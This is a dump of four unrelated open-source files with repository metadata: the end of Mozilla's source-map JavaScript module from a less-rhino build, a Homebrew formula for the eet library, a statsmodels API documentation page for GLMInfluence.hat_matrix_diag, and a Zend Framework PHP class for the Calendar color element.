SourceMapConsumer_eachMapping(aCallback, aContext, aOrder) { var context = aContext || null; var order = aOrder || SourceMapConsumer.GENERATED_ORDER; var mappings; switch (order) { case SourceMapConsumer.GENERATED_ORDER: mappings = this._generatedMappings; break; case SourceMapConsumer.ORIGINAL_ORDER: mappings = this._originalMappings; break; default: throw new Error("Unknown order of iteration."); } var sourceRoot = this.sourceRoot; mappings.map(function (mapping) { var source = mapping.source; if (source && sourceRoot) { source = util.join(sourceRoot, source); } return { source: source, generatedLine: mapping.generatedLine, generatedColumn: mapping.generatedColumn, originalLine: mapping.originalLine, originalColumn: mapping.originalColumn, name: mapping.name }; }).forEach(aCallback, context); }; exports.SourceMapConsumer = SourceMapConsumer; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/binary-search', ['require', 'exports', 'module' , ], function(require, exports, module) { /** * Recursive implementation of binary search. * * @param aLow Indices here and lower do not contain the needle. * @param aHigh Indices here and higher do not contain the needle. * @param aNeedle The element being searched for. * @param aHaystack The non-empty array being searched. * @param aCompare Function which takes two elements and returns -1, 0, or 1. */ function recursiveSearch(aLow, aHigh, aNeedle, aHaystack, aCompare) { // This function terminates when one of the following is true: // // 1. We find the exact element we are looking for. // // 2. We did not find the exact element, but we can return the next // closest element that is less than that element. // // 3. We did not find the exact element, and there is no next-closest // element which is less than the one we are searching for, so we // return null. var mid = Math.floor((aHigh - aLow) / 2) + aLow; var cmp = aCompare(aNeedle, aHaystack[mid], true); if (cmp === 0) { // Found the element we are looking for. return aHaystack[mid]; } else if (cmp > 0) { // aHaystack[mid] is greater than our needle. if (aHigh - mid > 1) { // The element is in the upper half. return recursiveSearch(mid, aHigh, aNeedle, aHaystack, aCompare); } // We did not find an exact match, return the next closest one // (termination case 2). return aHaystack[mid]; } else { // aHaystack[mid] is less than our needle. if (mid - aLow > 1) { // The element is in the lower half. return recursiveSearch(aLow, mid, aNeedle, aHaystack, aCompare); } // The exact needle element was not found in this haystack. Determine if // we are in termination case (2) or (3) and return the appropriate thing. return aLow < 0 ? null : aHaystack[aLow]; } } /** * This is an implementation of binary search which will always try and return * the next lowest value checked if there is no exact hit. This is because * mappings between original and generated line/col pairs are single points, * and there is an implicit region between each of them, so a miss just means * that you aren't on the very start of a region. * * @param aNeedle The element you are looking for. * @param aHaystack The array that is being searched. * @param aCompare A function which takes the needle and an element in the * array and returns -1, 0, or 1 depending on whether the needle is less * than, equal to, or greater than the element, respectively. */ exports.search = function search(aNeedle, aHaystack, aCompare) { return aHaystack.length > 0 ? recursiveSearch(-1, aHaystack.length, aNeedle, aHaystack, aCompare) : null; }; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/source-node', ['require', 'exports', 'module' , 'source-map/source-map-generator', 'source-map/util'], function(require, exports, module) { var SourceMapGenerator = require('./source-map-generator').SourceMapGenerator; var util = require('./util'); /** * SourceNodes provide a way to abstract over interpolating/concatenating * snippets of generated JavaScript source code while maintaining the line and * column information associated with the original source code. * * @param aLine The original line number. * @param aColumn The original column number. * @param aSource The original source's filename. * @param aChunks Optional. An array of strings which are snippets of * generated JS, or other SourceNodes. * @param aName The original identifier. */ function SourceNode(aLine, aColumn, aSource, aChunks, aName) { this.children = []; this.sourceContents = {}; this.line = aLine === undefined ? null : aLine; this.column = aColumn === undefined ? null : aColumn; this.source = aSource === undefined ? null : aSource; this.name = aName === undefined ? null : aName; if (aChunks != null) this.add(aChunks); } /** * Creates a SourceNode from generated code and a SourceMapConsumer. * * @param aGeneratedCode The generated code * @param aSourceMapConsumer The SourceMap for the generated code */ SourceNode.fromStringWithSourceMap = function SourceNode_fromStringWithSourceMap(aGeneratedCode, aSourceMapConsumer) { // The SourceNode we want to fill with the generated code // and the SourceMap var node = new SourceNode(); // The generated code // Processed fragments are removed from this array. var remainingLines = aGeneratedCode.split('\n'); // We need to remember the position of "remainingLines" var lastGeneratedLine = 1, lastGeneratedColumn = 0; // The generate SourceNodes we need a code range. // To extract it current and last mapping is used. // Here we store the last mapping. var lastMapping = null; aSourceMapConsumer.eachMapping(function (mapping) { if (lastMapping === null) { // We add the generated code until the first mapping // to the SourceNode without any mapping. // Each line is added as separate string. while (lastGeneratedLine < mapping.generatedLine) { node.add(remainingLines.shift() + "\n"); lastGeneratedLine++; } if (lastGeneratedColumn < mapping.generatedColumn) { var nextLine = remainingLines[0]; node.add(nextLine.substr(0, mapping.generatedColumn)); remainingLines[0] = nextLine.substr(mapping.generatedColumn); lastGeneratedColumn = mapping.generatedColumn; } } else { // We add the code from "lastMapping" to "mapping": // First check if there is a new line in between. if (lastGeneratedLine < mapping.generatedLine) { var code = ""; // Associate full lines with "lastMapping" do { code += remainingLines.shift() + "\n"; lastGeneratedLine++; lastGeneratedColumn = 0; } while (lastGeneratedLine < mapping.generatedLine); // When we reached the correct line, we add code until we // reach the correct column too. if (lastGeneratedColumn < mapping.generatedColumn) { var nextLine = remainingLines[0]; code += nextLine.substr(0, mapping.generatedColumn); remainingLines[0] = nextLine.substr(mapping.generatedColumn); lastGeneratedColumn = mapping.generatedColumn; } // Create the SourceNode. addMappingWithCode(lastMapping, code); } else { // There is no new line in between. // Associate the code between "lastGeneratedColumn" and // "mapping.generatedColumn" with "lastMapping" var nextLine = remainingLines[0]; var code = nextLine.substr(0, mapping.generatedColumn - lastGeneratedColumn); remainingLines[0] = nextLine.substr(mapping.generatedColumn - lastGeneratedColumn); lastGeneratedColumn = mapping.generatedColumn; addMappingWithCode(lastMapping, code); } } lastMapping = mapping; }, this); // We have processed all mappings. // Associate the remaining code in the current line with "lastMapping" // and add the remaining lines without any mapping addMappingWithCode(lastMapping, remainingLines.join("\n")); // Copy sourcesContent into SourceNode aSourceMapConsumer.sources.forEach(function (sourceFile) { var content = aSourceMapConsumer.sourceContentFor(sourceFile); if (content) { node.setSourceContent(sourceFile, content); } }); return node; function addMappingWithCode(mapping, code) { if (mapping === null || mapping.source === undefined) { node.add(code); } else { node.add(new SourceNode(mapping.originalLine, mapping.originalColumn, mapping.source, code, mapping.name)); } } }; /** * Add a chunk of generated JS to this source node. * * @param aChunk A string snippet of generated JS code, another instance of * SourceNode, or an array where each member is one of those things. */ SourceNode.prototype.add = function SourceNode_add(aChunk) { if (Array.isArray(aChunk)) { aChunk.forEach(function (chunk) { this.add(chunk); }, this); } else if (aChunk instanceof SourceNode || typeof aChunk === "string") { if (aChunk) { this.children.push(aChunk); } } else { throw new TypeError( "Expected a SourceNode, string, or an array of SourceNodes and strings. Got " + aChunk ); } return this; }; /** * Add a chunk of generated JS to the beginning of this source node. * * @param aChunk A string snippet of generated JS code, another instance of * SourceNode, or an array where each member is one of those things. */ SourceNode.prototype.prepend = function SourceNode_prepend(aChunk) { if (Array.isArray(aChunk)) { for (var i = aChunk.length-1; i >= 0; i--) { this.prepend(aChunk[i]); } } else if (aChunk instanceof SourceNode || typeof aChunk === "string") { this.children.unshift(aChunk); } else { throw new TypeError( "Expected a SourceNode, string, or an array of SourceNodes and strings. Got " + aChunk ); } return this; }; /** * Walk over the tree of JS snippets in this node and its children. The * walking function is called once for each snippet of JS and is passed that * snippet and the its original associated source's line/column location. * * @param aFn The traversal function. */ SourceNode.prototype.walk = function SourceNode_walk(aFn) { var chunk; for (var i = 0, len = this.children.length; i < len; i++) { chunk = this.children[i]; if (chunk instanceof SourceNode) { chunk.walk(aFn); } else { if (chunk !== '') { aFn(chunk, { source: this.source, line: this.line, column: this.column, name: this.name }); } } } }; /** * Like `String.prototype.join` except for SourceNodes. Inserts `aStr` between * each of `this.children`. * * @param aSep The separator. */ SourceNode.prototype.join = function SourceNode_join(aSep) { var newChildren; var i; var len = this.children.length; if (len > 0) { newChildren = []; for (i = 0; i < len-1; i++) { newChildren.push(this.children[i]); newChildren.push(aSep); } newChildren.push(this.children[i]); this.children = newChildren; } return this; }; /** * Call String.prototype.replace on the very right-most source snippet. Useful * for trimming whitespace from the end of a source node, etc. * * @param aPattern The pattern to replace. * @param aReplacement The thing to replace the pattern with. */ SourceNode.prototype.replaceRight = function SourceNode_replaceRight(aPattern, aReplacement) { var lastChild = this.children[this.children.length - 1]; if (lastChild instanceof SourceNode) { lastChild.replaceRight(aPattern, aReplacement); } else if (typeof lastChild === 'string') { this.children[this.children.length - 1] = lastChild.replace(aPattern, aReplacement); } else { this.children.push(''.replace(aPattern, aReplacement)); } return this; }; /** * Set the source content for a source file. This will be added to the SourceMapGenerator * in the sourcesContent field. * * @param aSourceFile The filename of the source file * @param aSourceContent The content of the source file */ SourceNode.prototype.setSourceContent = function SourceNode_setSourceContent(aSourceFile, aSourceContent) { this.sourceContents[util.toSetString(aSourceFile)] = aSourceContent; }; /** * Walk over the tree of SourceNodes. The walking function is called for each * source file content and is passed the filename and source content. * * @param aFn The traversal function. */ SourceNode.prototype.walkSourceContents = function SourceNode_walkSourceContents(aFn) { for (var i = 0, len = this.children.length; i < len; i++) { if (this.children[i] instanceof SourceNode) { this.children[i].walkSourceContents(aFn); } } var sources = Object.keys(this.sourceContents); for (var i = 0, len = sources.length; i < len; i++) { aFn(util.fromSetString(sources[i]), this.sourceContents[sources[i]]); } }; /** * Return the string representation of this source node. Walks over the tree * and concatenates all the various snippets together to one string. */ SourceNode.prototype.toString = function SourceNode_toString() { var str = ""; this.walk(function (chunk) { str += chunk; }); return str; }; /** * Returns the string representation of this source node along with a source * map. */ SourceNode.prototype.toStringWithSourceMap = function SourceNode_toStringWithSourceMap(aArgs) { var generated = { code: "", line: 1, column: 0 }; var map = new SourceMapGenerator(aArgs); var sourceMappingActive = false; var lastOriginalSource = null; var lastOriginalLine = null; var lastOriginalColumn = null; var lastOriginalName = null; this.walk(function (chunk, original) { generated.code += chunk; if (original.source !== null && original.line !== null && original.column !== null) { if(lastOriginalSource !== original.source || lastOriginalLine !== original.line || lastOriginalColumn !== original.column || lastOriginalName !== original.name) { map.addMapping({ source: original.source, original: { line: original.line, column: original.column }, generated: { line: generated.line, column: generated.column }, name: original.name }); } lastOriginalSource = original.source; lastOriginalLine = original.line; lastOriginalColumn = original.column; lastOriginalName = original.name; sourceMappingActive = true; } else if (sourceMappingActive) { map.addMapping({ generated: { line: generated.line, column: generated.column } }); lastOriginalSource = null; sourceMappingActive = false; } chunk.split('').forEach(function (ch) { if (ch === '\n') { generated.line++; generated.column = 0; } else { generated.column++; } }); }); this.walkSourceContents(function (sourceFile, sourceContent) { map.setSourceContent(sourceFile, sourceContent); }); return { code: generated.code, map: map }; }; exports.SourceNode = SourceNode; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /////////////////////////////////////////////////////////////////////////////// this.sourceMap = { SourceMapConsumer: require('source-map/source-map-consumer').SourceMapConsumer, SourceMapGenerator: require('source-map/source-map-generator').SourceMapGenerator, SourceNode: require('source-map/source-node').SourceNode }; // footer to wrap "source-map" module return this.sourceMap; }(); })();
jsunconf/contribs
node_modules/less/dist/less-rhino-1.6.2.js
JavaScript
bsd-2-clause
317,509
class Eet < Formula desc "Library for writing arbitrary chunks of data to a file using compression" homepage "https://docs.enlightenment.org/auto/eet/eet_main.html" url "https://download.enlightenment.org/releases/eet-1.7.10.tar.gz" sha256 "c424821eb8ba09884d3011207b1ecec826bc45a36969cd4978b78f298daae1ee" bottle do cellar :any sha1 "73d9599c2ab8fa5067ff4fc4fddacbeb19b825c4" => :yosemite sha1 "36315f8d5bc59d56c6082e76e8dd2a9bfaec3735" => :mavericks sha1 "dcc57b32e7225fe86c83a5bfaade296d828b9ba0" => :mountain_lion end head do url "https://git.enlightenment.org/legacy/eet.git/" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "pkg-config" => :build depends_on "eina" depends_on "jpeg" depends_on "lzlib" depends_on "openssl" def install system "./autogen.sh" if build.head? system "./configure", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end end
akshayvaidya/homebrew
Library/Formula/eet.rb
Ruby
bsd-2-clause
1,106
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="generator" content="Docutils 0.17.1: http://docutils.sourceforge.net/" /> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="lang:clipboard.copy" content="Copy to clipboard"> <meta name="lang:clipboard.copied" content="Copied to clipboard"> <meta name="lang:search.language" content="en"> <meta name="lang:search.pipeline.stopwords" content="True"> <meta name="lang:search.pipeline.trimmer" content="True"> <meta name="lang:search.result.none" content="No matching documents"> <meta name="lang:search.result.one" content="1 matching document"> <meta name="lang:search.result.other" content="# matching documents"> <meta name="lang:search.tokenizer" content="[\s\-]+"> <link href="https://fonts.gstatic.com/" rel="preconnect" crossorigin> <link href="https://fonts.googleapis.com/css?family=Roboto+Mono:400,500,700|Roboto:300,400,400i,700&display=fallback" rel="stylesheet"> <style> body, input { font-family: "Roboto", "Helvetica Neue", Helvetica, Arial, sans-serif } code, kbd, pre { font-family: "Roboto Mono", "Courier New", Courier, monospace } </style> <link rel="stylesheet" href="../_static/stylesheets/application.css"/> <link rel="stylesheet" href="../_static/stylesheets/application-palette.css"/> <link rel="stylesheet" href="../_static/stylesheets/application-fixes.css"/> <link rel="stylesheet" href="../_static/fonts/material-icons.css"/> <meta name="theme-color" content="#3f51b5"> <script src="../_static/javascripts/modernizr.js"></script> <title>statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag &#8212; statsmodels</title> <link rel="icon" type="image/png" sizes="32x32" href="../_static/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="../_static/icons/favicon-16x16.png"> <link rel="manifest" href="../_static/icons/site.webmanifest"> <link rel="mask-icon" href="../_static/icons/safari-pinned-tab.svg" color="#919191"> <meta name="msapplication-TileColor" content="#2b5797"> <meta name="msapplication-config" content="../_static/icons/browserconfig.xml"> <link rel="stylesheet" href="../_static/stylesheets/examples.css"> <link rel="stylesheet" href="../_static/stylesheets/deprecation.css"> <link rel="stylesheet" type="text/css" href="../_static/pygments.css" /> <link rel="stylesheet" type="text/css" href="../_static/material.css" /> <link rel="stylesheet" type="text/css" href="../_static/graphviz.css" /> <link rel="stylesheet" type="text/css" href="../_static/plot_directive.css" /> <script data-url_root="../" id="documentation_options" src="../_static/documentation_options.js"></script> <script src="../_static/jquery.js"></script> <script src="../_static/underscore.js"></script> <script src="../_static/doctools.js"></script> <script crossorigin="anonymous" integrity="sha256-Ae2Vz/4ePdIu6ZyI/5ZGsYnb+m0JlOmKPjt6XZ9JJkA=" src="https://cdnjs.cloudflare.com/ajax/libs/require.js/2.3.4/require.min.js"></script> <link rel="shortcut icon" href="../_static/favicon.ico"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="next" title="statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_exog_diag" href="statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_exog_diag.html" /> <link rel="prev" title="statsmodels.stats.outliers_influence.GLMInfluence.dfbetas" href="statsmodels.stats.outliers_influence.GLMInfluence.dfbetas.html" /> </head> <body dir=ltr data-md-color-primary=indigo data-md-color-accent=blue> <svg class="md-svg"> <defs data-children-count="0"> <svg xmlns="http://www.w3.org/2000/svg" width="416" height="448" viewBox="0 0 416 448" id="__github"><path fill="currentColor" d="M160 304q0 10-3.125 20.5t-10.75 19T128 352t-18.125-8.5-10.75-19T96 304t3.125-20.5 10.75-19T128 256t18.125 8.5 10.75 19T160 304zm160 0q0 10-3.125 20.5t-10.75 19T288 352t-18.125-8.5-10.75-19T256 304t3.125-20.5 10.75-19T288 256t18.125 8.5 10.75 19T320 304zm40 0q0-30-17.25-51T296 232q-10.25 0-48.75 5.25Q229.5 240 208 240t-39.25-2.75Q130.75 232 120 232q-29.5 0-46.75 21T56 304q0 22 8 38.375t20.25 25.75 30.5 15 35 7.375 37.25 1.75h42q20.5 0 37.25-1.75t35-7.375 30.5-15 20.25-25.75T360 304zm56-44q0 51.75-15.25 82.75-9.5 19.25-26.375 33.25t-35.25 21.5-42.5 11.875-42.875 5.5T212 416q-19.5 0-35.5-.75t-36.875-3.125-38.125-7.5-34.25-12.875T37 371.5t-21.5-28.75Q0 312 0 260q0-59.25 34-99-6.75-20.5-6.75-42.5 0-29 12.75-54.5 27 0 47.5 9.875t47.25 30.875Q171.5 96 212 96q37 0 70 8 26.25-20.5 46.75-30.25T376 64q12.75 25.5 12.75 54.5 0 21.75-6.75 42 34 40 34 99.5z"/></svg> </defs> </svg> <input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer"> <input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search"> <label class="md-overlay" data-md-component="overlay" for="__drawer"></label> <a href="#generated/statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag" tabindex="1" class="md-skip"> Skip to content </a> <header class="md-header" data-md-component="header"> <nav class="md-header-nav md-grid"> <div class="md-flex navheader"> <div class="md-flex__cell md-flex__cell--shrink"> <a href="../index.html" title="statsmodels" class="md-header-nav__button md-logo"> <img src="../_static/statsmodels-logo-v2-bw.svg" height="26" alt="statsmodels logo"> </a> </div> <div class="md-flex__cell md-flex__cell--shrink"> <label class="md-icon md-icon--menu md-header-nav__button" for="__drawer"></label> </div> <div class="md-flex__cell md-flex__cell--stretch"> <div class="md-flex__ellipsis md-header-nav__title" data-md-component="title"> <span class="md-header-nav__topic">statsmodels v0.14.0.dev0 (+283)</span> <span class="md-header-nav__topic"> statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag </span> </div> </div> <div class="md-flex__cell md-flex__cell--shrink"> <label class="md-icon md-icon--search md-header-nav__button" for="__search"></label> <div class="md-search" data-md-component="search" role="dialog"> <label class="md-search__overlay" for="__search"></label> <div class="md-search__inner" role="search"> <form class="md-search__form" action="../search.html" method="get" name="search"> <input type="text" class="md-search__input" name="q" placeholder="Search" autocapitalize="off" autocomplete="off" spellcheck="false" data-md-component="query" data-md-state="active"> <label class="md-icon md-search__icon" for="__search"></label> <button type="reset" class="md-icon md-search__icon" data-md-component="reset" tabindex="-1"> &#xE5CD; </button> </form> <div class="md-search__output"> <div class="md-search__scrollwrap" data-md-scrollfix> <div class="md-search-result" data-md-component="result"> <div class="md-search-result__meta"> Type to start searching </div> <ol class="md-search-result__list"></ol> </div> </div> </div> </div> </div> </div> <div class="md-flex__cell md-flex__cell--shrink"> <div class="md-header-nav__source"> <a href="https://github.com/statsmodels/statsmodels" title="Go to repository" class="md-source" data-md-source="github"> <div class="md-source__icon"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24" width="28" height="28"> <use xlink:href="#__github" width="24" height="24"></use> </svg> </div> <div class="md-source__repository"> statsmodels </div> </a> </div> </div> <script src="../_static/javascripts/version_dropdown.js"></script> <script> var json_loc = "../../versions-v2.json", target_loc = "../../", text = "Versions"; $( document ).ready( add_version_dropdown(json_loc, target_loc, text)); </script> </div> </nav> </header> <div class="md-container"> <nav class="md-tabs" data-md-component="tabs"> <div class="md-tabs__inner md-grid"> <ul class="md-tabs__list"> <li class="md-tabs__item"><a href="../user-guide.html" class="md-tabs__link">User Guide</a></li> <li class="md-tabs__item"><a href="../stats.html" class="md-tabs__link">Statistics <code class="xref py py-mod docutils literal notranslate"><span class="pre">stats</span></code></a></li> <li class="md-tabs__item"><a href="statsmodels.stats.outliers_influence.GLMInfluence.html" class="md-tabs__link">statsmodels.stats.outliers_influence.GLMInfluence</a></li> </ul> </div> </nav> <main class="md-main"> <div class="md-main__inner md-grid" data-md-component="container"> <div class="md-sidebar md-sidebar--primary" data-md-component="navigation"> <div class="md-sidebar__scrollwrap"> <div class="md-sidebar__inner"> <nav class="md-nav md-nav--primary" data-md-level="0"> <label class="md-nav__title md-nav__title--site" for="__drawer"> <a href="../index.html" title="statsmodels" class="md-nav__button md-logo"> <img src="../_static/statsmodels-logo-v2-bw.svg" alt=" logo" width="48" height="48"> </a> <a href="../index.html" title="statsmodels">statsmodels v0.14.0.dev0 (+283)</a> </label> <div class="md-nav__source"> <a href="https://github.com/statsmodels/statsmodels" title="Go to repository" class="md-source" data-md-source="github"> <div class="md-source__icon"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24" width="28" height="28"> <use xlink:href="#__github" width="24" height="24"></use> </svg> </div> <div class="md-source__repository"> statsmodels </div> </a> </div> <ul class="md-nav__list"> <li class="md-nav__item"> <a href="../install.html" class="md-nav__link">Installing statsmodels</a> </li> <li class="md-nav__item"> <a href="../gettingstarted.html" class="md-nav__link">Getting started</a> </li> <li class="md-nav__item"> <a href="../user-guide.html" class="md-nav__link">User Guide</a> <ul class="md-nav__list"> <li class="md-nav__item"> <a href="../user-guide.html#background" class="md-nav__link">Background</a> </li> <li class="md-nav__item"> <a href="../user-guide.html#regression-and-linear-models" class="md-nav__link">Regression and Linear Models</a> </li> <li class="md-nav__item"> <a href="../user-guide.html#time-series-analysis" class="md-nav__link">Time Series Analysis</a> </li> <li class="md-nav__item"> <a href="../user-guide.html#other-models" class="md-nav__link">Other Models</a> </li> <li class="md-nav__item"> <a href="../user-guide.html#statistics-and-tools" class="md-nav__link">Statistics and Tools</a> <ul class="md-nav__list"> <li class="md-nav__item"> <a href="../stats.html" class="md-nav__link">Statistics <code class="xref py py-mod docutils literal notranslate"><span class="pre">stats</span></code></a> </li> <li class="md-nav__item"> <a href="../contingency_tables.html" class="md-nav__link">Contingency tables</a> </li> <li class="md-nav__item"> <a href="../imputation.html" class="md-nav__link">Multiple Imputation with Chained Equations</a> </li> <li class="md-nav__item"> <a href="../emplike.html" class="md-nav__link">Empirical Likelihood <code class="xref py py-mod docutils literal notranslate"><span class="pre">emplike</span></code></a> </li> <li class="md-nav__item"> <a href="../distributions.html" class="md-nav__link">Distributions</a> </li> <li class="md-nav__item"> <a href="../graphics.html" class="md-nav__link">Graphics</a> </li> <li class="md-nav__item"> <a href="../iolib.html" class="md-nav__link">Input-Output <code class="xref py py-mod docutils literal notranslate"><span class="pre">iolib</span></code></a> </li> <li class="md-nav__item"> <a href="../tools.html" class="md-nav__link">Tools</a> </li> <li class="md-nav__item"> <a href="../large_data.html" class="md-nav__link">Working with Large Data Sets</a> </li> <li class="md-nav__item"> <a href="../optimization.html" class="md-nav__link">Optimization</a> </li></ul> </li> <li class="md-nav__item"> <a href="../user-guide.html#data-sets" class="md-nav__link">Data Sets</a> </li> <li class="md-nav__item"> <a href="../user-guide.html#sandbox" class="md-nav__link">Sandbox</a> </li></ul> </li> <li class="md-nav__item"> <a href="../examples/index.html" class="md-nav__link">Examples</a> </li> <li class="md-nav__item"> <a href="../api.html" class="md-nav__link">API Reference</a> </li> <li class="md-nav__item"> <a href="../about.html" class="md-nav__link">About statsmodels</a> </li> <li class="md-nav__item"> <a href="../dev/index.html" class="md-nav__link">Developer Page</a> </li> <li class="md-nav__item"> <a href="../release/index.html" class="md-nav__link">Release Notes</a> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component="toc"> <div class="md-sidebar__scrollwrap"> <div class="md-sidebar__inner"> <nav class="md-nav md-nav--secondary"> <ul class="md-nav__list" data-md-scrollfix=""> <li class="md-nav__item"><a class="md-nav__extra_link" href="../_sources/generated/statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag.rst.txt">Show Source</a> </li> <li id="searchbox" class="md-nav__item"></li> </ul> </nav> </div> </div> </div> <div class="md-content"> <article class="md-content__inner md-typeset" role="main"> <section id="statsmodels-stats-outliers-influence-glminfluence-hat-matrix-diag"> <h1 id="generated-statsmodels-stats-outliers-influence-glminfluence-hat-matrix-diag--page-root">statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag<a class="headerlink" href="#generated-statsmodels-stats-outliers-influence-glminfluence-hat-matrix-diag--page-root" title="Permalink to this headline">¶</a></h1> <dl class="py attribute"> <dt class="sig sig-object py" id="statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag"> <span class="sig-prename descclassname"><span class="pre">GLMInfluence.</span></span><span class="sig-name descname"><span class="pre">hat_matrix_diag</span></span><a class="headerlink" href="#statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag" title="Permalink to this definition">¶</a></dt> <dd><p>Diagonal of the hat_matrix for GLM</p> <p class="rubric">Notes</p> <p>This returns the diagonal of the hat matrix that was provided as argument to GLMInfluence or computes it using the results method <cite>get_hat_matrix</cite>.</p> </dd></dl> </section> </article> </div> </div> </main> </div> <footer class="md-footer"> <div class="md-footer-nav"> <nav class="md-footer-nav__inner md-grid"> <a href="statsmodels.stats.outliers_influence.GLMInfluence.dfbetas.html" title="statsmodels.stats.outliers_influence.GLMInfluence.dfbetas" class="md-flex md-footer-nav__link md-footer-nav__link--prev" rel="prev"> <div class="md-flex__cell md-flex__cell--shrink"> <i class="md-icon md-icon--arrow-back md-footer-nav__button"></i> </div> <div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title"> <span class="md-flex__ellipsis"> <span class="md-footer-nav__direction"> Previous </span> statsmodels.stats.outliers_influence.GLMInfluence.dfbetas </span> </div> </a> <a href="statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_exog_diag.html" title="statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_exog_diag" class="md-flex md-footer-nav__link md-footer-nav__link--next" rel="next"> <div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title"><span class="md-flex__ellipsis"> <span class="md-footer-nav__direction"> Next </span> statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_exog_diag </span> </div> <div class="md-flex__cell md-flex__cell--shrink"><i class="md-icon md-icon--arrow-forward md-footer-nav__button"></i> </div> </a> </nav> </div> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class="md-footer-copyright"> <div class="md-footer-copyright__highlight"> &#169; Copyright 2009-2019, Josef Perktold, Skipper Seabold, Jonathan Taylor, statsmodels-developers. </div> Last updated on Jan 26, 2022. <br/> Created using <a href="http://www.sphinx-doc.org/">Sphinx</a> 4.4.0. and <a href="https://github.com/bashtage/sphinx-material/">Material for Sphinx</a> </div> </div> </div> </footer> <script src="../_static/javascripts/application.js"></script> <script>app.initialize({version: "1.0.4", url: {base: ".."}})</script> </body> </html>
statsmodels/statsmodels.github.io
devel/generated/statsmodels.stats.outliers_influence.GLMInfluence.hat_matrix_diag.html
HTML
bsd-3-clause
19,033
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Gdata * @subpackage Calendar * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id: Color.php,v 1.1 2010-10-25 15:20:38 h.wang Exp $ */ /** * @see Zend_Gdata_Extension */ require_once 'Zend/Gdata/Extension.php'; /** * Represents the gCal:color element used by the Calendar data API * to define the color of a calendar in the UI. * * @category Zend * @package Zend_Gdata * @subpackage Calendar * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Gdata_Calendar_Extension_Color extends Zend_Gdata_Extension { protected $_rootNamespace = 'gCal'; protected $_rootElement = 'color'; protected $_value = null; /** * Constructs a new Zend_Gdata_Calendar_Extension_Color object. * @param string $value (optional) The text content of the element. */ public function __construct($value = null) { $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces); parent::__construct(); $this->_value = $value; } /** * Retrieves a DOMElement which corresponds to this element and all * child properties. This is used to build an entry back into a DOM * and eventually XML text for sending to the server upon updates, or * for application storage/persistence. * * @param DOMDocument $doc The DOMDocument used to construct DOMElements * @return DOMElement The DOMElement representing this element and all * child properties. */ public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null) { $element = parent::getDOM($doc, $majorVersion, $minorVersion); if ($this->_value != null) { $element->setAttribute('value', $this->_value); } return $element; } /** * Given a DOMNode representing an attribute, tries to map the data into * instance members. If no mapping is defined, the name and value are * stored in an array. * * @param DOMNode $attribute The DOMNode attribute needed to be handled */ protected function takeAttributeFromDOM($attribute) { switch ($attribute->localName) { case 'value': $this->_value = $attribute->nodeValue; break; default: parent::takeAttributeFromDOM($attribute); } } /** * Get the value for this element's value attribute. * * @return string The value associated with this attribute. */ public function getValue() { return $this->_value; } /** * Set the value for this element's value attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Calendar_Extension_Color The element being modified. */ public function setValue($value) { $this->_value = $value; return $this; } /** * Magic toString method allows using this directly via echo * Works best in PHP >= 4.2.0 */ public function __toString() { return $this->_value; } }
linkorb/ZendFramework-1.10.8-minimal-patched
library/Zend/Gdata/Calendar/Extension/Color.php
PHP
bsd-3-clause
3,809
